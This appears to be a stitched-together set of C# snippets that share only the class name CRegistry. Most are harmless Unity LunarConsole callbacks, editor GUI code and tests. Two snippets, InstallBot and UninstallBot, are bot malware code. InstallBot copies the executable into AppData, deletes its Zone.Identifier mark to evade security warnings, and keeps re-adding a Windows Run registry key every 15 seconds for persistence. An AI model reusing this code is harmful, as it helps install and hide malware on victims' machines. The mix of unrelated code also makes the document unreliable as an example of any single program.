public void SetUp() { RunSetUp(); m_registry = new CRegistry(); m_registry.registryDelegate = this; }
public static Boolean InstallBot() { try { String strDropPath = CUtils.GetAppData(); if (String.IsNullOrEmpty(strDropPath)) { return(false); } String strMainPath = CUtils.GetMainPath(); if (String.IsNullOrEmpty(strMainPath)) { return(false); } strDropPath += strFileName; if (strDropPath == strMainPath) { new Thread(delegate() { while (bRegistryPersistance) { CRegistry.SetRegValue(CUtils.IsElevated() ? Registry.LocalMachine : Registry.CurrentUser, @"Software\Microsoft\Windows\CurrentVersion\Run", strRegistryName, strDropPath); DateTime dtNextAdd = DateTime.Now.AddSeconds(15); while (dtNextAdd > DateTime.Now && bRegistryPersistance) { Thread.Sleep(10); } } }).Start(); return(true); } File.Copy(strMainPath, strDropPath, true); CKernel32.DeleteFile( string.Format( "{0}:Zone.Identifier", strDropPath) ); if (CRegistry.SetRegValue(CUtils.IsElevated() ? Registry.LocalMachine : Registry.CurrentUser, @"Software\Microsoft\Windows\CurrentVersion\Run", strRegistryName, strDropPath)) { Process.Start(strDropPath); } } catch { } Application.Exit(); return(false); }
public void OnActionUnregistered(CRegistry registry, CAction action) { try { m_args1[0] = jval(action.Id); CallStaticVoidMethod(m_methodUnregisterAction, m_args1); } catch (Exception e) { Debug.LogError("Exception while calling 'LunarConsole.OnActionUnregistered': " + e.Message); } }
public void OnActionRegistered(CRegistry registry, CAction action) { try { m_args2[0] = jval(action.Id); m_args2[1] = jval(action.Name); CallStaticVoidMethod(m_methodRegisterAction, m_args2); AndroidJNI.DeleteLocalRef(m_args2[1].l); } catch (Exception e) { Debug.LogError("Exception while calling 'LunarConsole.OnActionRegistered': " + e.Message); } }
public static bool UninstallBot() { #if !DEBUG if (!CRegistry.DeleteRegValue(CUtils.IsElevated() ? Registry.LocalMachine : Registry.CurrentUser, @"Software\Microsoft\Windows\CurrentVersion\Run", strRegistryName)) { return(false); } #endif if (!CProcessProtection.ProtectProcess(false)) { return(false); } bRegistryPersistance = false; return(true); }
void OnRegistryGUI(CRegistry registry) { GUILayout.BeginVertical(); { GUILayout.BeginHorizontal(); { var oldFilterText = m_filterText; m_filterText = GUILayout.TextField(m_filterText, filterTextStyle); if (GUILayout.Button(GUIContent.none, filterButtonStyle)) { m_filterText = ""; } if (oldFilterText != m_filterText) { EditorPrefs.SetString(PrefsKeyFilterText, m_filterText); } } GUILayout.EndHorizontal(); m_scrollPosition = GUILayout.BeginScrollView(m_scrollPosition); { var filterText = m_filterText.ToLower(); GUILayout.Label("Actions", headerLabelStyle); foreach (var action in registry.actions) { if (m_filterText.Length == 0 || action.Name.ToLower().Contains(filterText)) { OnActionGUI(action); } } GUILayout.Label("Variables", headerLabelStyle); foreach (var cvar in registry.cvars) { if (m_filterText.Length == 0 || cvar.Name.ToLower().Contains(filterText)) { OnVariableGUI(cvar); } } } GUILayout.EndScrollView(); } GUILayout.EndVertical(); }
public void OnVariableRegistered(CRegistry registry, CVar cvar) { try { m_args5[0] = jval(cvar.Id); m_args5[1] = jval(cvar.Name); m_args5[2] = jval(cvar.Type.ToString()); m_args5[3] = jval(cvar.Value); m_args5[4] = jval(cvar.DefaultValue); CallStaticVoidMethod(m_methodRegisterVariable, m_args5); AndroidJNI.DeleteLocalRef(m_args5[1].l); AndroidJNI.DeleteLocalRef(m_args5[2].l); AndroidJNI.DeleteLocalRef(m_args5[3].l); AndroidJNI.DeleteLocalRef(m_args5[4].l); } catch (Exception e) { Debug.LogError("Exception while calling 'LunarConsole.OnVariableRegistered': " + e.Message); } }
public void OnVariableRegistered(CRegistry registry, CVar cvar) { }
public void OnActionsCleared(CRegistry registry) { AddResult("cleared"); }
public void OnActionUnregistered(CRegistry registry, CAction action) { AddResult("removed: " + action.Name); }
public void OnActionChanged(CRegistry registry, CAction action) { AddResult("changed: " + action.Name); }
public void OnActionRegistered(CRegistry registry, CAction action) { AddResult("added: " + action.Name); }
public void OnVariableRegistered(CRegistry registry, CVar cvar) { __lunar_console_cvar_register(cvar.Id, cvar.Name, cvar.Type.ToString(), cvar.Value, cvar.DefaultValue); }
public void OnActionUnregistered(CRegistry registry, CAction action) { __lunar_console_action_unregister(action.Id); }
public void OnActionRegistered(CRegistry registry, CAction action) { __lunar_console_action_register(action.Id, action.Name); }
public void OnVariableUpdated(CRegistry registry, CVar cvar) { }